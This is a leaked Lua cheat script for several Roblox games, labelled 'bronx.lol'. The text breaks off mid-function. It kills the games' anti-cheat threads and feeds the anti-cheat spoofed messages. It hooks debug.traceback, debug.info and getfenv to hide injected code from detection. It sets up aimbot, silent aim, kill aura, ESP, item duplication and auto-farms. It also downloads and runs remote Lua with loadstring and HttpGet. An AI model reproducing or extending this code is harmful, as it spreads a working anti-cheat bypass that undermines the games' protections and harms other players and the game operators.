```
if getgenv().loaded then
   return
end

getgenv().loaded = true

local StarterGui = game:GetService("StarterGui")

StarterGui:SetCore("SendNotification", {
   Title = "script loading..",
   Text = "wait 8 seconds to load",
   Duration = 8, -- seconds the notification stays on screen
   Button1 = "Got it"
})


task.wait(8)
StarterGui:SetCore("SendNotification", {
   Title = " ❗ ",
   Text = "leaked by .gg/sleepyhub if you dont listen to king vyylora you gotta face the
consequences",
   Duration = 8, -- seconds the notification stays on screen
   Button1 = "Got it"
})

if LPH_OBFUSCATED == nil then
   local assert = assert
   local type = type
   local setfenv = setfenv
   LPH_ENCNUM = function(toEncrypt, ...)
      assert(type(toEncrypt) == "number" and #{...} == 0, "LPH_ENCNUM only accepts a single
constant double or integer as an argument.")
      return toEncrypt
   end
   LPH_NUMENC = LPH_ENCNUM
   LPH_ENCSTR = function(toEncrypt, ...)
      assert(type(toEncrypt) == "string" and #{...} == 0, "LPH_ENCSTR only accepts a single
constant string as an argument.")
      return toEncrypt
   end
   LPH_STRENC = LPH_ENCSTR
   LPH_ENCFUNC = function(toEncrypt, encKey, decKey, ...)

      assert(type(toEncrypt) == "function" and type(encKey) == "string" and #{...} == 0,
"LPH_ENCFUNC accepts a constant function, constant string, and string variable as
arguments.")
      return toEncrypt
   end
   LPH_FUNCENC = LPH_ENCFUNC
   LPH_JIT = function(f, ...)
      assert(type(f) == "function" and #{...} == 0, "LPH_JIT only accepts a single constant
function as an argument.")
      return f
```

```
    end
    LPH_JIT_MAX = LPH_JIT
    LPH_NO_VIRTUALIZE = function(f, ...)
        assert(type(f) == "function" and #{...} == 0, "LPH_NO_VIRTUALIZE only accepts a single
constant function as an argument.")
        return f
    end
    LPH_NO_UPVALUES = function(f, ...)
        assert(type(setfenv) == "function", "LPH_NO_UPVALUES can only be used on Lua
versions with getfenv & setfenv")
        assert(type(f) == "function" and #{...} == 0, "LPH_NO_UPVALUES only accepts a single
constant function as an argument.")
        local env = getrenv()
        return setfenv(
            LPH_NO_VIRTUALIZE(function(...)
                return func(...)
            end),
            setmetatable(
                {
                    func = f
                },
                {
                    __index = env,
                    __newindex = env
                }
            )
        )
    end
    LPH_CRASH = function(...)
        assert(#{...} == 0, "LPH_CRASH does not accept any arguments.")
        game:Shutdown()
        while true do end
    end
    LRM_IsUserPremium = false
    LRM_LinkedDiscordID = "0"
    LRM_ScriptName = "bronx.lol"
    LRM_TotalExecutions = 0
    LRM_SecondsLeft = math.huge
    LRM_UserNote = "Developer";
end;

local Game_Name = (game.PlaceId == 4991214437 and "Town") or (game.PlaceId ==
18642421777 and "The Bronx") or (game.PlaceId == 16472538603 and "The Bronx") or
(game.PlaceId == 13643807539 and "South Bronx") or (game.PlaceId == 93612682780562 and
"South Bronx") or (game.PlaceId == 14413475235 and "South Bronx") or (game.PlaceId ==
104715542330896 and "BlockSpin") or (game.PlaceId == 71600459831333 and "Street Life")
or "Universal" or game.PlaceId == 13643807539

if not getexecutorname then
    getexecutorname = identifyexecutor
end
```

```
local Solara = string.match(getexecutorname(), "Solara") == "Solara" or
string.match(getexecutorname(), "Xeno") == "Xeno" or getexecutorname() ==
string.match(getexecutorname(), "Zorara") == "Zorara";

local cloneref = cloneref or function(...) return ... end

local Services = setmetatable({}, {
    __index = LPH_NO_VIRTUALIZE(function(self, service, key)
        if Solara and (service == "VirtualInputManager") and (Game_Name == "The Bronx") then
            return {SendKeyEvent = function() end}
        end
        return cloneref(game:GetService(service))
    end)
})

if Game_Name == "South Bronx" and not Solara then

        local _getallthreads = LPH_JIT_MAX(function()
            local threads = {}
            for i, v in getreg() do
                if type(v) == 'thread' then
                    table.insert(threads, v)
                end
            end
            return threads
        end)

        local _gettenv = LPH_JIT_MAX(function(Thread)
            return getfenv(debug.info(Thread, 1, 'f'))
        end)

        if gettenv then
            _gettenv = gettenv
        end

        local Filter_Nil_Instances = LPH_JIT_MAX(function(Name)
            local Found = nil

            for _, Object in getnilinstances() do
                if tostring(Object):find(Name) then
                    Found = Object
                end
            end

            return Found
        end)

        local Filter_Table = LPH_JIT_MAX(function(Table, Name)
            local Found, Index = nil, nil

            for _, Object in Table do

                if tostring(_):lower():find(tostring(Name):lower()) then
                    Found = Object
```

```
            Index = _
        end
    end

    return Found, Index
end)

local Search_Threads = LPH_JIT_MAX(function(Table, Variable)
    local Threads = {}

    for NO, _thread in pairs(Table) do
        local T_ENV = _gettenv(_thread)

        if T_ENV[Variable] then
            table.insert(Threads, _thread)
        end
    end

    return Threads
end)

local Get_AntiCheat_Threads = LPH_JIT_MAX(function()
    local Threads = _getallthreads()
    local WeHaveAHacker = Search_Threads(Threads, 'WeHaveAHacker')
    if WeHaveAHacker[1] then
        return WeHaveAHacker
    end
end)

local AntiCheat_Threads = {}
local AntiCheat_Encoded = {
    [1] =
"iFPjbrlufvSzsYurCCdWeFbPeNBWzxywGWLNpzgQVVvkLaoDJjImgWFETWVzc2FnZVR5cGU=
",
    [2] =
"AjimhYxuTcBxLtetPTqLQKsdsjDiWNpsPSoXToFfvftufSnLTemZUVKTWVzc2FnZVUlZm8=",
    [3] =
"VFevcWxuZHlvFWejJERNXupJDNxvjnIBPHBNZgSMHNOeQURICksIFETWVzc2FnZVR5cGU=
",
    [4] =
"RJLHPqjgyYwiGKfgSdISiCpvzGmdJKBkWUMMZHxtipCmivjZdXzDWsTWVzc2FnZUlDHbIdA=
="
}

local Anti_Cheat_Script = Filter_Nil_Instances('?')

if not Anti_Cheat_Script then
    repeat task.wait()
    Anti_Cheat_Script = Filter_Nil_Instances('?')
    until Anti_Cheat_Script~=nil
end

local AntiCheat_Function, Function_Index = Filter_Table(getsenv(Anti_Cheat_Script),
"HPv")
```

```
        if not AntiCheat_Function then
            repeat task.wait()
            Anti_Cheat_Script = Filter_Nil_Instances('?')
            AntiCheat_Function, Function_Index = Filter_Table(getsenv(Anti_Cheat_Script), "HPv")

            until AntiCheat_Function~=nil
        end

        local Killable_Threads = {[1] = true, [3] = true, [4] = true}

        local XVNP_L = LPH_JIT_MAX(function(...)
            local Random_Message = AntiCheat_Encoded[math.random(1, #AntiCheat_Encoded)]
            return AntiCheat_Function(Random_Message)
        end)

        Services.RunService.RenderStepped:Connect(LPH_JIT_MAX(function()
            AntiCheat_Threads = Get_AntiCheat_Threads()

            if AntiCheat_Threads then
                for i = 1, #AntiCheat_Threads do
                    local Thread = AntiCheat_Threads[i]

                    if Thread and Killable_Threads[i] == true then
                        task.cancel(Thread)
                    end
                end
            end

            XVNP_L()
        end))
    task.wait(5)
end

local script_key;

if LPH_OBFUSCATED then
    script_key = getfenv().script_key
end

if script_key then
    writefile("BronxLol_Key.txt", script_key)
end

do
    Players = Services.Players;
    ReplicatedStorage = Services.ReplicatedStorage;
    UserInputService = Services.UserInputService;
    Workspace = Services.Workspace;
    RunService = Services.RunService;
    ProximityPromptService = Services.ProximityPromptService;
    MarketplaceService = Services.MarketplaceService;
    StarterGui = Services.StarterGui
    VirtualInputManager = Services.VirtualInputManager;
    Lighting = Services.Lighting
```

```
    mathrandom = math.random;
    mathabs = math.abs;
    Mobile = UserInputService.TouchEnabled

    Cars = {}

    Camera = Workspace.CurrentCamera

    LocalPlayer = Players.LocalPlayer
    Mouse = LocalPlayer:GetMouse()

    Move_Mouse_Function = mousemoverel
end;

local FireServer, InvokeServer, UnreliableFireServer = Instance.new("RemoteEvent").FireServer,
Instance.new("RemoteFunction").InvokeServer,
Instance.new("UnreliableRemoteEvent").FireServer

if isfunctionhooked then
    if isfunctionhooked(FireServer) or isfunctionhooked(UnreliableFireServer) or
isfunctionhooked(InvokeServer) and LPH_OBFUSCATED then
        return Services.LocalPlayer:Kick("bronx.lol | Security : You are running another script,
please disable it and execute again")
    end
end

local SafePosition = CFrame.new(-437, 33, 6653)

local Config = {
    ["TheBronx"] = {
        ["Selected_Item"] = "...";

        ["TeleportationList"] = {
            ["Deli Market 🥪"] = CFrame.new(-602.3944091796875, 253.73313903808594,
-584.2000732421875);
            ["Capital One Bank 🏦"] = CFrame.new(-205, 284, -1214);
            ["Ice Box 🧊"] = CFrame.new(-198.8927001953125, 283.8486633300781,
-1170.4500732421875);
            ["Domino's 🍕"] = CFrame.new(-742.5213012695312, 253.22897338867188,
-946.2092895507812);
            ["Hotel 🏨"] = CFrame.new(-1012, 266, -933);
            ["Drip Store 👓"] = CFrame.new(67462.6953125, 10489.0322265625,
546.6762084960938);
            ["Gun Shop 🔫"] = CFrame.new(92970.4140625, 122097.953125, 17023.623046875);
            ["Car Dealer 🚗"] = CFrame.new(-378.6668701171875, 253.2564697265625,
-1245.4259033203125);
            ["Laundromat 🧺"] = CFrame.new(-979.4635620117188, 253.65318298339844,
-689.3339233398438);
```

```
        ["Studio 🎙️"] = CFrame.new(93408.453125, 14484.7158203125, 570.139404296875);
        ["Basketball Court 🏀"] = CFrame.new(-1055.6407470703125, 253.51364135742188,
-497.10528564453125);
        ["Robbable Ice Box 🧊"] = CFrame.new(-209.68360900878906, 283.4959411621094,
-1265.5286865234375);
        ["Exotic Dealer / Grass House 🌿"] = CFrame.new(-1521.943115234375,
272.5462646484375, -984.3020629882812);
        ["Safe 🔒"] = CFrame.new(-190, 295, -1010);
        ["Roof Top / Bank Tools 🛠️"] = CFrame.new(-385, 340, -557);
        ["Second Gun Shop 🔫"] = CFrame.new(66202, 123615.7109375, 5749.81689453125);
        ["Construction Job 🔨"] = CFrame.new(-1729, 371, -1171);
    };

    ["Modifications"] = newproxy(true);

    ["_Modifications"] = {
        ["DisableJamming"] = false;
        ["ModifySpreadValue"] = false;
        ["ModifyRecoilValue"] = false;
        ["Automatic"] = false;
        ["ModifyFireRate"] = false;
        ["ModifyReloadSpeed"] = false;
        ["ModifyEquipSpeed"] = false;
        ["InfiniteAmmo"] = false;
        ["InfiniteClips"] = false;
        ["InfiniteDamage"] = false;

        ["FireRateSpeed"] = 50;
        ["SpreadPercentage"] = 50;
        ["RecoilPercentage"] = 50;
        ["ReloadSpeed"] = 50;
        ["EquipSpeed"] = 50;
    };

    ["PlayerModifications"] = {
        ["InfiniteSleep"] = false;
        ["InfiniteStamina"] = false;
        ["InfiniteHunger"] = false;
        ["InstantInteract"] = false;
        ["InstantRevive"] = false;
        ["AutoPickupCash"] = false;
        ["AutoPickupBags"] = false;
        ["DisableCameraBobbing"] = false;
        ["DisableCameras"] = false;
        ["BypassLockedCars"] = false;
        ["DisableBloodEffects"] = false;
        ["NoJumpCooldown"] = false;
        ["NoRentPay"] = false;
        ["NoFallDamage"] = false;
```

```
    ["NoKnockback"] = false;
    ["InfiniteHealth"] = false;
    ["RespawnWhereYouDied"] = false;
};

["InfiniteHealth"] = false;

["StoreDupedItem"] = false;
["Selected_Location"] = "...";
["ClickTeleportActive"] = false;

["PlayerUtilities"] = {
    ["SelectedPlayer"] = "...";
    ["BringingPlayer"] = false;
    ["SpectatePlayer"] = false;
    ["AutoKill"] = false;
    ["AutoRagdoll"] = false;
    ["BugPlayer"] = false;
};

["VehicleModifications"] = {
    ["SpeedEnabled"] = false;
    ["SpeedValue"] = 10/1000;
    ["BreakEnabled"] = false;
    ["BreakValue"] = 50/1000;
    ["InstantStop"] = false;
    ["InstantStopBind"] = Enum.KeyCode.V;
};

["Farms"] = {
    ["CollectDroppedMoney"] = false;

    ["CollectDroppedLoot"] = false;
    ["OnlyCollectGuns"] = false;

    ["AFKCheck"] = false;
    ["FarmConstructionJob"] = false;
    ["FarmBank"] = false;
    ["FarmHouses"] = false;
    ["FarmStudio"] = false;
    ["FarmTrash"] = false;
    ["AutoSellTrash"] = false;
};

["KillAura"] = false;
["KillAuraRange"] = 300;
["KillAuraWhitelist"] = {};

["AutoDrop"] = false;
["MoneyAmount"] = false;

["Fly"] = {
    ["Enabled"] = false;
    ["Type"] = "CFrame";
```

```
        ["Speed"] = 50;
    };
};

["BlockSpin"] = {
    ["LocalPlayer"] = {
        ["InfiniteStamina"] = false;
    };

    ["AutoFarming"] = {
        ["FarmMops"] = false;
        ["MopType"] = "Default";
    };
};

["Road_To_Riches"] = {
    ["_Modifications"] = {
        ["ExplosiveBullets"] = false;
        ["InfiniteAmmo"] = false;
        ["InfiniteDamage"] = false;
        ["InstantReload"] = false;
        ["InstantEquip"] = false;
        ["Automatic"] = false;
        ["RapidFire"] = false;
        ["NoSpread"] = false;
        ["NoRecoil"] = false;
    };

    ["Locations"] = {
        ["ATM 🏧"] = CFrame.new(360, 2563, 1946);
        ["Gun Dealer 🔫"] = CFrame.new(231, 2545, 1065);
        ["Gold Shop 🪨"] = CFrame.new(-78.1158218383789, 2563.1123046875,
944.74365234375);
        ["Barber 💈 "] = CFrame.new(1217.6531982421875, 2557.93896484375,
981.182861328125);
        ["Monderella 🍕 "] = CFrame.new(428.89581298828125, 2563.31005859375,
1275.4918212890625);
        ["Deli 🥪"] = CFrame.new(-70.2744369506836, 2562.807861328125,
719.9676513671875);
        ["Library 📖 "] = CFrame.new(53.477169036865234, 2562.908203125,
1960.6444091796875);
        ["Laboratory 🔬 "] = CFrame.new(564, 2563, 1957);
        ["Hot Dog Stand 🌭"] = CFrame.new(295.57403564453125, 2562.7646484375,
1996.2435302734375);
        ["Gym 💪" ] = CFrame.new(-37.920719146728516, 2563.05029296875,
442.32647705078125);
        ["Banks Burgers 🍔"] = CFrame.new(794.2547607421875, 2562.93701171875,
311.8097229003906);
```

```
        ["Laundromat 💷"] = CFrame.new(402.6617126464844, 2562.892822265625,
1503.2645263671875);
        ["Cocaine Factory 🏭"] = CFrame.new(1227, 2529, 1987);
        ["Cooking Pots 🧪"] = CFrame.new(131, 2540, 1004);
        ["Scrap Metal ⚒️"] = CFrame.new(1049, 2563, 1052);
    };

    ["PackFarm"] = {
        ["Enabled"] = false;
        ["AllowedPacks"] = {};
        ["AllowedJunkies"] = {};
    };

    ["InfiniteClips"] = false;
    ["InfiniteStamina"] = false;
    ["InfiniteEnergy"] = false;

    ["Modifications"] = newproxy(true);

    ["InstantInteract"] = false;

    ["ESP"] = {
        ["Pots"] = false;
        ["AllowedPots"] = {}
    };
};

["South_Bronx"] = {
    ["LocalPlayer_Config"] = {
        ["InstantInteract"] = false;
        ["DeleteOnKey"] = false;
        ["DeleteKey"] = nil;
        ["NoClip"] = false;
        ["HideName"] = false;
        ["InfiniteStamina"] = false;
        ["Speed"] = false;
        ["SpeedValue"] = 0.75;
    };

    ["TeleportMethod"] = "Damage";

    ["FarmingUtilities"] = {
        ["CardFarm"] = false;
        ["BoxFarm"] = false;
        ["ChipFarm"] = false;
        ["MarshmallowFarm"] = false;
        ["MarshmallowIncrement"] = 5;
    };

    ["OwnedBike"] = "Unknown";
```

```
["Guns"] = {};

["Selected_Item"] = "...";
["Item_Amount"] = 1;

["Locations"] = {
    ["Main Gun Store 🔫"] = CFrame.new(219, 6, -158);
    ["Black Market 💹"] = CFrame.new(671, 6, 251);
    ["DealerShip 🚗"] = CFrame.new(738, 6, 439);
    ["DealerShip Apartments 🌇"] = CFrame.new(717, 5, 548);
    ["Clothes Store 👕"] = CFrame.new(-197, 6, -74);
    ["Box Job Apartments 📦"] = CFrame.new(-527, 6, 142);
    ["Bank 💳"] = CFrame.new(-47, 6, -340);
    ["Fake ID Seller 🪪"] = CFrame.new(219, 6, -331);
    ["DOA Turf 🔴"] = CFrame.new(-335, 6, -415);
    ["OGZ Turf 🟣"] = CFrame.new(125, 6, -466);
    ["YGZ Turf 🟢"] = CFrame.new(3, 6, 223);
    ["Studio 🎙️"] = CFrame.new(522, 6, -26);
    ["Shoe Store 👟"] = CFrame.new(525, 7, -184);
    ["Second Gun Store 🔫"] = CFrame.new(-459, 6, 328);
    ["Exclusive Gun Store 🔫"] = CFrame.new(1131, 4, 173);
};

["Selected_Location"] = "...";

["Modifications"] = newproxy(true);

["_Modifications"] = {
    ["DisableJamming"] = false;
    ["ModifySpreadValue"] = false;
    ["ModifyRecoilValue"] = false;
    ["Automatic"] = false;
    ["ModifyFireRate"] = false;
    ["InstantKill"] = false;
    ["ModifyReloadSpeed"] = false;
    ["ModifyEquipSpeed"] = false;
    ["InfiniteAmmo"] = false;
    ["InfiniteClips"] = false;

    ["FireRateSpeed"] = 50;
    ["SpreadPercentage"] = 50;
    ["RecoilPercentage"] = 50;
    ["ReloadSpeed"] = 50;
    ["EquipSpeed"] = 50;
};
```

```
        ["PlayerUtilities"] = {
            ["SelectedPlayer"] = "...";
            ["BringingPlayer"] = false;
            ["SpectatePlayer"] = false;
        };

        ["VehicleModifications"] = {
            ["SpeedEnabled"] = false;
            ["SpeedValue"] = 10/1000;
            ["BreakEnabled"] = false;
            ["BreakValue"] = 50/1000;
            ["InstantStop"] = false;
            ["InstantStopBind"] = Enum.KeyCode.V;
        };

        ["KillAura"] = false;
        ["KillAuraRange"] = 100;
        ["KillAuraWhitelist"] = {};
    };

    ["Game"] = {
        ["Ray_Systems"] = (Game_Name == "Road To Riches" and {"Raycast"} or Game_Name
== "BlockSpin" and {"Raycast"} or Game_Name == "Town" and {"Raycast"} or Game_Name
== "Universal" and {"Raycast","FindPartOnRay","FindPartOnRayWithWhitelist"} or
Game_Name == "The Bronx" and {"FindPartOnRay"}  or Game_Name == "South Bronx" and
{"Raycast"} or Game_Name == "Street Life" and {"Raycast"} or Game_Name == "Criminality"
and {"Raycast"}) or {};
        ["Wall_Bang_Possible"] = ((Game_Name == "Universal" or Game_Name == "Criminality"
or Game_Name == "South Bronx" or Game_Name == "The Bronx" or Game_Name == "Street
Life"));
    };

    ["Aimlock"] = {
        ["Enabled"] = false;
        ["Aiming"] = false;
        ["TargetPart"] = "Head";
        ["MaxDistance"] = 300;
        ["Mode"] = "Toggle";
        ["Type"] = "Mouse";
        ["Keybind"] = nil;
        ["WallCheck"] = false;
        ["Priority"] = {};
        ["Whitelisted"] = {};
        ["DrawFieldOfView"] = false;
        ["UseFieldOfView"] = false;
        ["Radius"] = 100;
        ["FieldOfViewColor"] = Color3.new(1,1,1);
        ["FieldOfViewTransparency"] = 0.25;
        ["Sides"] = 100;
        ["Smoothness"] = 1;
        ["Snapline"] = false;
        ["SnaplineColor"] = Color3.new(1,1,1);
        ["SnaplineThickness"] = 1;
    };
```

```
["Silent"] = {
    ["Enabled"] = false;
    ["Targetting"] = false;
    ["TargetPart"] = {"Head"};
    ["Mode"] = "nil";
    ["MaxDistance"] = 300;
    ["Keybind"] = nil;
    ["WallCheck"] = false;
    ["WallBang"] = false;
    ["Priority"] = {};
    ["Whitelisted"] = {};
    ["DrawFieldOfView"] = false;
    ["UseFieldOfView"] = false;
    ["Radius"] = 100;
    ["FieldOfViewColor"] = Color3.new(1,1,1);
    ["FieldOfViewTransparency"] = 0.25;
    ["Sides"] = 100;
    ["HitChance"] = 100;
    ["Snapline"] = false;
    ["SnaplineColor"] = Color3.new(1,1,1);
    ["Damage"] = 100;
    ["SnaplineThickness"] = 1;
};

["WorldVisuals"] = {
    ["SaturationEnabled"] = false;
    ["Saturation_Value"] = 1;

    ["FogColorEnabled"] = false;
    ["FogColor"] = Color3.new(1,1,1);

    ["AmbientEnabled"] = false;
    ["AmbientColor"] = Color3.new(1,1,1);

    ["FieldOfViewEnabled"] = false;
    ["FieldOfViewValue"] = 70;

    ["Fullbright"] = false;
};

["MiscSettings"] = {
    ["Hitbox_Expander"] = {
        ["Enabled"] = false;
        ["Multiplier"] = 15;
        ["Color"] = Color3.new(1,1,1);
        ["Transparency"] = 0;
        ["Type"] = "Block";
        ["Material"] = "ForceField";
        ["Whitelist"] = {};
        ["Part"] = "HumanoidRootPart";
    };

    ["ModifySpeed"] = {
```

```
        ["Enabled"] = false;
        ["Value"] = 16;
    };

    ["ModifyJump"] = {
        ["Enabled"] = false;
        ["Infinity"] = false;
        ["Value"] = 50;
    };

    ["Fly"] = {
        ["Enabled"] = false;
        ["Type"] = "CFrame";
        ["Speed"] = 50;
    };

    ["SpinBot"] = {
        ["Enabled"] = false;
        ["Speed"] = 35;
    };

    ["No-Clip"] = false;
};

["Guns"] = {};

ESP = {
    Enabled = false,
    TeamCheck = false,
    MaxDistance = 500,
    FontSize = 12,
    Font = Enum.Font.Code,
    FadeOut = {
        OnDistance = false,
        OnDeath = true,
        OnLeave = false,
    },
    Options = {
        Teamcheck = true, TeamcheckRGB = Color3.fromRGB(0, 255, 0),
        Friendcheck = true, FriendcheckRGB = Color3.fromRGB(0, 255, 0),
        Highlight = false, HighlightRGB = Color3.fromRGB(255, 0, 0),
    },
    Drawing = {
        Chams = {
            Enabled  = false,
            Thermal = true,
            FillRGB = Color3.fromRGB(119, 120, 255),
            Fill_Transparency = 80,
            OutlineRGB = Color3.fromRGB(0,0,0),
            Outline_Transparency = 80,
            VisibleCheck = false,
        },
        Names = {
            Enabled = false,
```

```
            Transparency = 0,
            RGB = Color3.fromRGB(255, 255, 255),
        },
        Flags = {
            Enabled = false,
        },
        Distances = {
            Enabled = false,
            Position = "Bottom",
            Transparency = 0,
            RGB = Color3.fromRGB(255, 255, 255),
        },
        Weapons = {
            Enabled = false, WeaponTextRGB = Color3.fromRGB(119, 120, 255),
            Outlined = false,
            Gradient = false,
            Transparency = 0,
            GradientRGB1 = Color3.fromRGB(255, 255, 255), GradientRGB2 =
Color3.fromRGB(119, 120, 255),
        },
        Inventory = {
            Enabled = false, RGB = Color3.fromRGB(255, 255, 255),
            Transparency = 0,
        },
        Healthbar = {
            Enabled = false,
            HealthText = false, Lerp = true, HealthTextRGB = Color3.fromRGB(0, 255, 0),
            Width = 2.5,
            Transparency = 0,
            HealthTextTransparency = 0,
            Gradient = true, GradientRGB1 = Color3.fromRGB(255, 0, 0), GradientRGB2 =
Color3.fromRGB(0,255,0)
        },
        Boxes = {
            Animate = true,
            RotationSpeed = 300,
            Gradient = false, GradientRGB1 = Color3.fromRGB(119, 120, 255), GradientRGB2 =
Color3.fromRGB(0, 0, 0),
            GradientFill = true, GradientFillRGB1 = Color3.fromRGB(119, 120, 255),
GradientFillRGB2 = Color3.fromRGB(0, 0, 0),
            Filled = {
                Enabled = false,
                Transparency = 0.75,
                RGB = Color3.fromRGB(0, 0, 0),
            },
            Full = {
                Enabled = true,
                Transparency = 0,
                RGB = Color3.fromRGB(255, 255, 255),
            },
            Bounding = {
                Enabled = false,
                Transparency = 0,
                RGB = Color3.fromRGB(255, 255, 255),
```

```
            },
            Corner = {
                Enabled = false,
                Transparency = 0,
                RGB = Color3.fromRGB(255, 255, 255),
            },
        };
    };
    Connections = {
        RunService = Services.RunService;
    };
    Fonts = {};
  };
};

--[[if not Solara and Game_Name == "The Bronx" then
  local DTC;

  repeat task.wait(.25) LPH_NO_VIRTUALIZE(function()
    for Index, Value in next, getgc(true) do
      if type(Value) == "table" then
        local Detected = rawget(Value, "Detected");
        if type(Detected) == "function" then
          DTC = Detected
        end;
      end;
    end;
  end)()

  until DTC ~= nil
end]]

getgenv().library = {
  directory = "bronx.lol_remastered",
  folders = {
    "/fonts",
    "/configs",
    "/assets"
  },
  priority = {},
  whitelist = {},
  flags = {},
  config_flags = {},
  connections = {},
  notifications = {notifs = {}},
  current_open;
}

local Images = {"ESP.png", "World.png", "Wrench.png", "Settings.png", "Node.png",
"cursor.png", "Bullet.png", "Snapline.png", "Pistol.png", "folder.png", "UZI.png",
"FieldOfView2.png", "Lock.png", "Aimlock.png", "Cash.png", "Wheatt.png", "Pickkaxe.png",
"unlocked.png"}

for _, path in next, library.folders do
```

```
    makefolder(library.directory .. path)
end

for Index, Value in Images do
    local Location = library.directory.."/assets/"..Value
    if not isfile(Location) then
        local ImageDiddyAhhBlud = game:HttpGet("https://raw.githubusercontent.com/
KingVonOBlockJoyce/imagessynex/main/"..Value)
        repeat wait() until ImageDiddyAhhBlud ~= nil
        writefile(Location, ImageDiddyAhhBlud)
    end
end

GetImage = LPH_NO_VIRTUALIZE(function(Name)
    local Location = library.directory.."/assets/"..Name
    if isfile(Location) then
        return getcustomasset(Location)
    end
end)

local Collide_Data = {}

local DefaultPlayerSettings = {}

if not Services.Players.LocalPlayer.Character then
    Services.Players.LocalPlayer.CharacterAdded:Wait()
    task.wait(1)
end

for Index, Value in Services.Players.LocalPlayer.Character:GetDescendants() do
    pcall(LPH_NO_VIRTUALIZE(function()
        if Value.CanCollide == true then
            Collide_Data[Value.Name] = true
        end
    end))
end

if not Solara then
    if Game_Name == "BlockSpin" then
        LPH_JIT_MAX(function()
            local Repr = loadstring(game:HttpGet("https://raw.githubusercontent.com/Ozzypig/repr/
refs/heads/master/repr.lua"))()

                local Required = {
                        "hookfunction",
                        "getthreadcontext",
                        "getconnections",
                        "setthreadcontext",
                        "isexecutorclosure",
                        "hookmetamethod",
                        "getrenv",
                }

                for _, v in next, Required do
```

```
		if not getgenv()[v] then
			game:GetService("Players").LocalPlayer:Kick(`Your executor does
not support [{v}], which is REQUIRED to use the BlockSpin script.`)
		end
	end

	local OldDebugTraceback, OldDebugInfo, OldFenv = debug.traceback,
debug.info, getfenv

	local BlacklistedRemoteArgumentNeedles = {
		"invalid_entry",
		"replicate_bil",
	}

	local BlacklistedCallerNeedles = {
		"Obfuscated",
	}

	if not shared.Hooking then
		shared.Hooking = {}
	end

	if not shared.Hooking.IncludeInStackFunctions then
		shared.Hooking.IncludeInStackFunctions = {}
	end

	shared.SafeHook = function(Original, Replacement)
		shared.Hooking.IncludeInStackFunctions[Original] = true
		return hookfunction(Original, Replacement)
	end

	local CoreGui = game:GetService("CoreGui")
	local RobloxGuis = {
		"RobloxGui",
		"TeleportGui",
		"RobloxPromptGui",
		"RobloxLoadingGui",
		"PlayerList",
		"RobloxNetworkPauseNotification",
		"PurchasePrompt",
		"HeadsetDisconnectedDialog",
		"ThemeProvider",
		"DevConsoleMaster",
	}

	local function FilterTable(InputTable)
		local OldContext = getthreadcontext()
		setthreadcontext(7)

		local Filtered = {}
		local GameInstance = game

		for Index, Value in ipairs(InputTable) do
			if typeof(Value) ~= "Instance" then
```

```
                                        table.insert(Filtered, Value)
                                else
                                        if Value == CoreGui or Value == GameInstance then
                                                -- Insert only the default Roblox GUIs
                                                for _, GuiName in pairs(RobloxGuis) do
                                                        local GuiInstance =
CoreGui:FindFirstChild(GuiName)
                                                        if GuiInstance then
                                                                table.insert(Filtered, GuiInstance)
                                                        end
                                                end

                                                if Value == GameInstance then
                                                        for _, Child in
pairs(GameInstance:GetChildren()) do
                                                                if Child ~= CoreGui then
                                                                        table.insert(Filtered, Child)
                                                                end
                                                        end
                                                end
                                        else
                                                if not CoreGui:IsAncestorOf(Value) then
                                                        table.insert(Filtered, Value)
                                                else
                                                        -- Only include if it's a descendant of one of
the default GUIs
                                                        for _, DefaultGuiName in pairs(RobloxGuis)
do
                                                                local DefaultGuiInstance =
CoreGui:FindFirstChild(DefaultGuiName)
                                                                if DefaultGuiInstance then
                                                                        if Value ==
DefaultGuiInstance or DefaultGuiInstance:IsAncestorOf(Value) then
                                                                                table.insert(Filtered,
Value)
                                                                                break
                                                                        end
                                                                end
                                                        end
                                                end
                                        end
                                end
                        end

                        setthreadcontext(OldContext)
                        return Filtered
                end

                local BlacklistedAssets = {}
                local ContentProvider = game:GetService("ContentProvider")

                local function logDebugMessage(...)
                        local Strings = {}
```

```
	for _, v in next, { ... } do
		table.insert(Strings, tostring(v))
	end

	local Message = table.concat(Strings, ", ")
	warn(`{Message}\n`)
end

local function ValidTraceback(s)
	local dotPos = string.find(s, "%.")
	local colonPos = string.find(s, ":")

	if not dotPos then
		return false
	end

	if not colonPos then
		return true
	end

	return dotPos < colonPos
end

local function TracebackLines(str)
	local pos = 1
	return function()
		if not pos then
			return nil
		end
		local p1, p2 = string.find(str, "\r?\n", pos)
		local line
		if p1 then
			line = str:sub(pos, p1 - 1)
			pos = p2 + 1
		else
			line = str:sub(pos)
			pos = nil
		end
		return line
	end
end

OldDebugTraceback = shared.SafeHook(getrenv().debug.traceback, function()
	if checkcaller() then
		return OldDebugTraceback()
	end

	local Traceback = OldDebugTraceback()
	local NewTraceback = {}

	for Line in TracebackLines(Traceback) do
		if not ValidTraceback(Line) then
			continue
		end
```

```
		table.insert(NewTraceback, Line)
	end

	return table.concat(NewTraceback, "\n")
end)

OldDebugInfo = shared.SafeHook(getrenv().debug.info, function(...)
	local ToInspect, LevelOrInfo, _ThreadInfo = ...

	if
		checkcaller()
		or typeof(ToInspect) == "function"
		or typeof(ToInspect) == "thread"
		or not pcall(function(LevelOrInfo) -- Validate arguments
			OldDebugInfo(function() end, LevelOrInfo)
		end, LevelOrInfo)
	then
		return OldDebugInfo(...)
	end

	local ReconstructedConstructedStack = {}
	for Level = 2, 19997 do
		local Function, Source, Line, Name, NumberOfArgs, Varargs =
OldDebugInfo(Level, "fslna")

		if not Function or not Source or not Line or not Name then
			break
		end

		if isexecutorclosure(Function) and not
shared.Hooking.IncludeInStackFunctions[Function] then
			continue
		end

		table.insert(ReconstructedConstructedStack, {
			f = Function,
			s = Source,
			l = Line,
			n = Name,
			a = { NumberOfArgs, Varargs },
		})
	end

	local InfoLevel = ReconstructedConstructedStack[ToInspect]

	if not InfoLevel then
		-- Max level is 19997 so this guarantees that it will return nothing
		return OldDebugInfo(3e4, LevelOrInfo)
	end

	local ReturnResult = {}
	for idx, info in string.split(LevelOrInfo, "") do
		local Value = InfoLevel[info]
```

```
		if typeof(Value) == "table" then
			for _, v in Value do
				table.insert(ReturnResult, v)
			end

			continue
		end

		table.insert(ReturnResult, Value)
	end

	return table.unpack(ReturnResult, 1, #ReturnResult)
end)

OldFenv = shared.SafeHook(getrenv().getfenv, function(...)
	if checkcaller() then
		return OldFenv(...)
	end

	local ToInspect = ...

	if ToInspect == 0 then
		return getrenv()
	elseif ToInspect == nil then
		return OldFenv(...)
	end

	local Success, ResultingEnv = pcall(function()
		if typeof(ToInspect) == "number" then
			return OldFenv(ToInspect + 3)
		end

